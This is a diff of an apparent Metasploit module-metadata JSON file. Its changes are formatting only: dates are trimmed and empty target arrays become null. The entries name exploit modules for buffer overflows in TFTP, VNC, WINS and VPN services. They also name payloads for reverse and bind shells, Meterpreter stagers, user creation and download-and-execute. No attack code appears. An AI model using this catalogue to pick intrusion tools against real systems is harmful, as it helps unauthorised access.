"disclosure_date": "2008-03-26", "type": "exploit", "author": [ "Mati Aharoni", @@ -83553,7 +81545,7 @@ "name": "3CTftpSvc TFTP Long Mode Buffer Overflow", "full_name": "exploit/windows/tftp/threectftpsvc_long_mode", "rank": 500, - "disclosure_date": "2006-11-27 00:00:00 -0600", + "disclosure_date": "2006-11-27", "type": "exploit", "author": [ "MC " @@ -83582,7 +81574,7 @@ "name": "CA CAM log_security() Stack Buffer Overflow (Win32)", "full_name": "exploit/windows/unicenter/cam_log_security", "rank": 500, - "disclosure_date": "2005-08-22 00:00:00 -0500", + "disclosure_date": "2005-08-22", "type": "exploit", "author": [ "hdm " @@ -83614,7 +81606,7 @@ "name": "RealVNC 3.3.7 Client Buffer Overflow", "full_name": "exploit/windows/vnc/realvnc_client", "rank": 300, - "disclosure_date": "2001-01-29 00:00:00 -0600", + "disclosure_date": "2001-01-29", "type": "exploit", "author": [ "MC " @@ -83644,7 +81636,7 @@ "name": "UltraVNC 1.0.1 Client Buffer Overflow", "full_name": "exploit/windows/vnc/ultravnc_client", "rank": 300, - "disclosure_date": "2006-04-04 00:00:00 -0500", + "disclosure_date": "2006-04-04", "type": "exploit", "author": [ "MC " @@ -83674,7 +81666,7 @@ "name": "UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow", "full_name": "exploit/windows/vnc/ultravnc_viewer_bof", "rank": 300, - "disclosure_date": "2008-02-06 00:00:00 -0600", + "disclosure_date": "2008-02-06", "type": "exploit", "author": [ "noperand" @@ -83702,7 +81694,7 @@ "name": "WinVNC Web Server GET Overflow", "full_name": "exploit/windows/vnc/winvnc_http_get", "rank": 200, - "disclosure_date": "2001-01-29 00:00:00 -0600", + "disclosure_date": "2001-01-29", "type": "exploit", "author": [ "aushack " @@ -83732,7 +81724,7 @@ "name": "SafeNet SoftRemote IKE Service Buffer Overflow", "full_name": "exploit/windows/vpn/safenet_ike_11", "rank": 200, - "disclosure_date": "2009-06-01 00:00:00 -0500", + "disclosure_date": "2009-06-01", "type": "exploit", "author": [ "MC " @@ -83763,7 +81755,7 @@ "name": "WinRM Script Exec Remote Code Execution", "full_name": "exploit/windows/winrm/winrm_script_exec", "rank": 0, - "disclosure_date": "2012-11-01 00:00:00 -0500", + "disclosure_date": "2012-11-01", "type": "exploit", "author": [ "thelightcosine" @@ -83789,7 +81781,7 @@ "name": "MS04-045 Microsoft WINS Service Memory Overwrite", "full_name": "exploit/windows/wins/ms04_045_wins", "rank": 500, - "disclosure_date": "2004-12-14 00:00:00 -0600", + "disclosure_date": "2004-12-14", "type": "exploit", "author": [ "hdm " @@ -83832,9 +81824,7 @@ "platform": "All", "arch": "aarch64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-14 18:26:11 +0000", "path": "/modules/nops/aarch64/simple.rb", "is_install_path": true, @@ -83858,9 +81848,7 @@ "platform": "All", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/nops/armle/simple.rb", "is_install_path": true, @@ -83884,9 +81872,7 @@ "platform": "All", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/nops/mipsbe/better.rb", "is_install_path": true, @@ -83910,9 +81896,7 @@ "platform": "All", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/nops/php/generic.rb", "is_install_path": true, @@ -83936,9 +81920,7 @@ "platform": "All", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/nops/ppc/simple.rb", "is_install_path": true, @@ -83962,9 +81944,7 @@ "platform": "All", "arch": "sparc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/nops/sparc/random.rb", "is_install_path": true, @@ -83988,9 +81968,7 @@ "platform": "All", "arch": "tty", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/nops/tty/generic.rb", "is_install_path": true, @@ -84014,9 +81992,7 @@ "platform": "All", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/nops/x64/simple.rb", "is_install_path": true, @@ -84041,9 +82017,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/nops/x86/opty2.rb", "is_install_path": true, @@ -84067,9 +82041,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/nops/x86/single_byte.rb", "is_install_path": true, @@ -84093,9 +82065,7 @@ "platform": "AIX", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb", "is_install_path": true, @@ -84119,9 +82089,7 @@ "platform": "AIX", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/aix/ppc/shell_find_port.rb", "is_install_path": true, @@ -84145,9 +82113,7 @@ "platform": "AIX", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/aix/ppc/shell_interact.rb", "is_install_path": true, @@ -84171,9 +82137,7 @@ "platform": "AIX", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb", "is_install_path": true, @@ -84200,9 +82164,7 @@ "platform": "Android", "arch": "dalvik", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/android/reverse_http.rb", "is_install_path": true, @@ -84229,9 +82191,7 @@ "platform": "Android", "arch": "dalvik", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/android/reverse_https.rb", "is_install_path": true, @@ -84257,9 +82217,7 @@ "platform": "Android", "arch": "dalvik", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/android/reverse_tcp.rb", "is_install_path": true, @@ -84283,9 +82241,7 @@ "platform": "Android", "arch": "dalvik", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/android/meterpreter_reverse_http.rb", "is_install_path": true, @@ -84309,9 +82265,7 @@ "platform": "Android", "arch": "dalvik", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/android/meterpreter_reverse_https.rb", "is_install_path": true, @@ -84335,9 +82289,7 @@ "platform": "Android", "arch": "dalvik", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/android/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -84364,9 +82316,7 @@ "platform": "Android", "arch": "dalvik", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/android/reverse_http.rb", "is_install_path": true, @@ -84393,9 +82343,7 @@ "platform": "Android", "arch": "dalvik", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/android/reverse_https.rb", "is_install_path": true, @@ -84420,9 +82368,7 @@ "platform": "Android", "arch": "dalvik", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/android/reverse_tcp.rb", "is_install_path": true, @@ -84448,9 +82394,7 @@ "platform": "Apple_iOS", "arch": "aarch64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb", "is_install_path": true, @@ -84476,9 +82420,7 @@ "platform": "Apple_iOS", "arch": "aarch64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb", "is_install_path": true, @@ -84504,9 +82446,7 @@ "platform": "Apple_iOS", "arch": "aarch64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -84530,9 +82470,7 @@ "platform": "Apple_iOS", "arch": "aarch64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-19 15:39:29 +0000", "path": "/modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb", "is_install_path": true, @@ -84556,9 +82494,7 @@ "platform": "BSD", "arch": "sparc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb", "is_install_path": true, @@ -84582,9 +82518,7 @@ "platform": "BSD", "arch": "sparc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb", "is_install_path": true, @@ -84608,9 +82542,7 @@ "platform": "BSD", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsd/x64/exec.rb", "is_install_path": true, @@ -84634,9 +82566,7 @@ "platform": "BSD", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb", "is_install_path": true, @@ -84661,9 +82591,7 @@ "platform": "BSD", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb", "is_install_path": true, @@ -84687,9 +82615,7 @@ "platform": "BSD", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb", "is_install_path": true, @@ -84713,9 +82639,7 @@ "platform": "BSD", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb", "is_install_path": true, @@ -84740,9 +82664,7 @@ "platform": "BSD", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb", "is_install_path": true, @@ -84766,9 +82688,7 @@ "platform": "BSD", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb", "is_install_path": true, @@ -84794,9 +82714,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsd/x86/exec.rb", "is_install_path": true, @@ -84820,9 +82738,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb", "is_install_path": true, @@ -84846,9 +82762,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb", "is_install_path": true, @@ -84874,9 +82788,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb", "is_install_path": true, @@ -84900,9 +82812,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/bsd/x86/bind_tcp.rb", "is_install_path": true, @@ -84926,9 +82836,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/bsd/x86/find_tag.rb", "is_install_path": true, @@ -84954,9 +82862,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb", "is_install_path": true, @@ -84980,9 +82886,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/bsd/x86/reverse_tcp.rb", "is_install_path": true, @@ -85006,9 +82910,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb", "is_install_path": true, @@ -85034,9 +82936,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb", "is_install_path": true, @@ -85060,9 +82960,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_find_port.rb", "is_install_path": true, @@ -85086,9 +82984,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_find_tag.rb", "is_install_path": true, @@ -85112,9 +83008,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb", "is_install_path": true, @@ -85140,9 +83034,7 @@ "platform": "BSD", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb", "is_install_path": true, @@ -85166,9 +83058,7 @@ "platform": "BSDi", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/bsdi/x86/bind_tcp.rb", "is_install_path": true, @@ -85192,9 +83082,7 @@ "platform": "BSDi", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb", "is_install_path": true, @@ -85219,9 +83107,7 @@ "platform": "BSDi", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb", "is_install_path": true, @@ -85246,9 +83132,7 @@ "platform": "BSDi", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsdi/x86/shell_find_port.rb", "is_install_path": true, @@ -85273,9 +83157,7 @@ "platform": "BSDi", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb", "is_install_path": true, @@ -85300,9 +83182,7 @@ "platform": "Mainframe", "arch": "cmd", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb", "is_install_path": true, @@ -85326,9 +83206,7 @@ "platform": "Mainframe", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-29 16:52:36 +0000", "path": "/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb", "is_install_path": true, @@ -85352,9 +83230,7 @@ "platform": "Mainframe", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/mainframe/generic_jcl.rb", "is_install_path": true, @@ -85378,9 +83254,7 @@ "platform": "Mainframe", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-29 18:27:29 +0000", "path": "/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb", "is_install_path": true, @@ -85405,9 +83279,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-16 04:06:58 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_awk.rb", "is_install_path": true, @@ -85431,9 +83303,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_inetd.rb", "is_install_path": true, @@ -85457,9 +83327,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_lua.rb", "is_install_path": true, @@ -85485,9 +83353,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_netcat.rb", "is_install_path": true, @@ -85511,9 +83377,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb", "is_install_path": true, @@ -85537,9 +83401,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb", "is_install_path": true, @@ -85563,9 +83425,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-11 11:09:28 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_nodejs.rb", "is_install_path": true, @@ -85590,9 +83450,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_perl.rb", "is_install_path": true, @@ -85617,9 +83475,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb", "is_install_path": true, @@ -85643,9 +83499,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 05:30:30 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_r.rb", "is_install_path": true, @@ -85669,9 +83523,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_ruby.rb", "is_install_path": true, @@ -85695,9 +83547,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb", "is_install_path": true, @@ -85721,9 +83571,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 14:34:21 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_socat_udp.rb", "is_install_path": true, @@ -85747,9 +83595,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-28 16:21:37 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_stub.rb", "is_install_path": true, @@ -85774,9 +83620,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-15 19:42:39 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_zsh.rb", "is_install_path": true, @@ -85800,9 +83644,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/generic.rb", "is_install_path": true, @@ -85826,9 +83668,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/interact.rb", "is_install_path": true, @@ -85852,9 +83692,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse.rb", "is_install_path": true, @@ -85880,9 +83718,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-16 04:06:58 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_awk.rb", "is_install_path": true, @@ -85897,7 +83733,7 @@ "author": [ "hdm " ], - "description": "Creates an interactive shell via bash's builtin /dev/tcp.\n This will not work on most Debian-based Linux distributions\n (including Ubuntu) because they compile bash without the\n /dev/tcp feature.", + "description": "Creates an interactive shell via bash's builtin /dev/tcp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/tcp feature.", "references": [ ], @@ -85906,10 +83742,8 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], - "mod_time": "2017-07-24 06:26:21 +0000", + "targets": null, + "mod_time": "2018-07-10 18:34:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_bash.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_bash" @@ -85932,9 +83766,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-15 20:50:30 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb", "is_install_path": true, @@ -85958,9 +83790,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-15 19:56:55 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_ksh.rb", "is_install_path": true, @@ -85984,9 +83814,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_lua.rb", "is_install_path": true, @@ -86010,9 +83838,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb", "is_install_path": true, @@ -86038,9 +83864,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_netcat.rb", "is_install_path": true, @@ -86064,9 +83888,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb", "is_install_path": true, @@ -86090,9 +83912,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_nodejs.rb", "is_install_path": true, @@ -86116,9 +83936,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_openssl.rb", "is_install_path": true, @@ -86142,9 +83960,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_perl.rb", "is_install_path": true, @@ -86168,9 +83984,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb", "is_install_path": true, @@ -86194,9 +84008,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-19 15:49:46 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb", "is_install_path": true, @@ -86220,9 +84032,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_python.rb", "is_install_path": true, @@ -86246,9 +84056,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb", "is_install_path": true, @@ -86272,9 +84080,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 05:30:30 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_r.rb", "is_install_path": true, @@ -86298,9 +84104,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_ruby.rb", "is_install_path": true, @@ -86324,9 +84128,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb", "is_install_path": true, @@ -86350,9 +84152,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 14:34:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb", "is_install_path": true, @@ -86377,9 +84177,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb", "is_install_path": true, @@ -86403,9 +84201,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-28 16:21:37 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_stub.rb", "is_install_path": true, @@ -86430,9 +84226,7 @@ "platform": "Unix", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-15 19:42:39 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_zsh.rb", "is_install_path": true, @@ -86458,9 +84252,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/windows/adduser.rb", "is_install_path": true, @@ -86484,9 +84276,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/windows/bind_lua.rb", "is_install_path": true, @@ -86512,9 +84302,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/payloads/singles/cmd/windows/bind_perl.rb", "is_install_path": true, @@ -86540,9 +84328,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb", "is_install_path": true, @@ -86566,9 +84352,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/windows/bind_ruby.rb", "is_install_path": true, @@ -86592,9 +84376,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/windows/download_eval_vbs.rb", "is_install_path": true, @@ -86618,9 +84400,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/windows/download_exec_vbs.rb", "is_install_path": true, @@ -86644,9 +84424,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/windows/generic.rb", 